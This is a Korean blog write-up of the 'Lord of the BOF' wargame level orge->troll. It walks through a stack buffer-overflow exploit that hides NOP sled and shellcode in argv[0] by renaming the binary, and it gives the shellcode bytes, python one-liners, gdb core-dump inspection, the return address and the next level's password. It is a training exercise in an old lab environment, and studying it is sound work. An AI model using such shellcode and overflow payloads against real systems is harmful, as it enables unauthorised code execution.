상세 컨텐츠

본문 제목

[LOB] level8: orge->troll

SYSTEM HACKING/LOB Redhat

by koharin 2019. 4. 28. 14:00

본문

728x90
반응형

 

if(argc != 2) : 실행파일에 같이 주는 인자가 1개가 아니면 종료

=>인자를 argv[1]만 줘야한다.

egghunter: memset() 함수로 환경변수를 0으로 초기화한다.

if(argv[1][47] != ‘\xbf’): argv[1]48번째 원소가 ‘\xbf’가 아니면 종료. Ret이 꼭 argv[1]45~48번째를 차지해야 한다.

if(strlen(argv[1]) > 48): argv[1]의 크기가 48보다 크면 종료

strcpy(buffer, argv[1]): argv[1]에 든 것을 buffer에 복사한다. 길이를 검사하지 않고 복사하므로 bufferoverflow 취약점이 있다.

memset(buffer, 0, 40): buffer40바이트를 0으로 초기화한다.

memset(argv[1], 0, strlen(argv[1])): argv[1]0으로 초기화한다.

=>strcpyargv[1]buffer로 복사 후 바로 printfbuffer를 출력하기 때문에 마지막에 memset() 함수로 초기화해도 48바이트 안에 payload를 제대로 준다면 문제가 없을 것 같다...고 생각했는데 초기화된다. argv[1]에는 초기화되므로 shellcode를 넣을 수 없다.

 

argv[0]은 파일 이름이므로, NOP+shellcodeargv[0]에 포함시키면 된다.

여기서 주의해야 할 것은, “\x2f”/을 나타내기 때문에 shellcode“\x2f”가 포함되면 안 된다.

 

\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81 (48byte)

 

따라서 48byte“\x2f”가 없는 위의 쉘코드를 사용해보자.

 

NOP+shellcode를 넣는 방법은 파일이름을 NOP+shellcode로 바꾸는 것이다.

파일이름은 ./troll이므로, 이 이름을 ./NOP+shellcode로 바꿔준다.

이전에 argv[0]77byte이어야 했을 때는 /로 채울 수 있었지만, NOP+shellcode를 사용하면 파일이름이 troll이 아니게 되므로 아예 파일이름을 바꾸는 것이다.

 

파일이름은 cp 명령어로 바꿀 수 있다.

 

 

Core를 생성하려고 계속 해봤는데 안 됐었는데,

 

./`python -c 'print "\x90"'`* `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"'`

 

./`python -c 'print "\x90"'`* `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"'`

 

이렇게 “\x90” 뒤에를 다 쓰지 않고 *으로 생략해서 썼더니 core dumped됐다.

 

Core가 생성된 것을 확인할 수 있다.

 

 

$ gdb -q -c core

(gdb) x/1000s $esp

 

 

(gdb) x/1000s $esp : 1000개를 string 형태로 esp 레지스터부터 보자!

./이 있고 다음에 \220198번 반복된다고 하니 이 부분이 NOP+shellcode가 담긴 주소부분이다.

 

 

x/100x로는 바이너리 형태로 볼 수 있다. \x90이 들어가있는 것을 확인할 수 있다.

Nopsled 기법을 이용해 NOP부분인 0xbffff9c0를 주소로 줘서 NOP부분에선 흘러가고 shellcode가 실행될 수 있도록 한다.

 

 

복사한 파일로는 bash쉘을 딸 수 있었다. 이제 원본파일에 저 주소를 사용해보자.

 

이때, 쉘코드의 메모리 주소가 바뀌는 것을 방지하기 위해 심볼릭 링크 사용해야 한다.

메모리 주소가 바뀌는 이유는 경로의 길이에 따라 환경변수 등 몇가지 요인이 영향을 받기 때문

 

 

아까 구한 \xbf\xff\xf9\xc0 주소를 ret에 넣어서 NOP에서 shellcode로 흘러가게 payload를 줬더니 bash쉘을 따는데 성공했다!

 

“aspirin”

728x90
반응형

'SYSTEM HACKING > LOB Redhat' 카테고리의 다른 글

[LOB] level 11: skeleton -> golem  (0) 2019.05.15
[LOB] level10: vampire -> skeleton  (0) 2019.05.01
[LOB] level3: cobolt -> goblin  (0) 2019.04.01
BOF(Buffer Overflow) 공격-고전적인 방법  (0) 2019.03.29
[LOB] gremlin -> cobolt  (0) 2019.03.28

관련글 더보기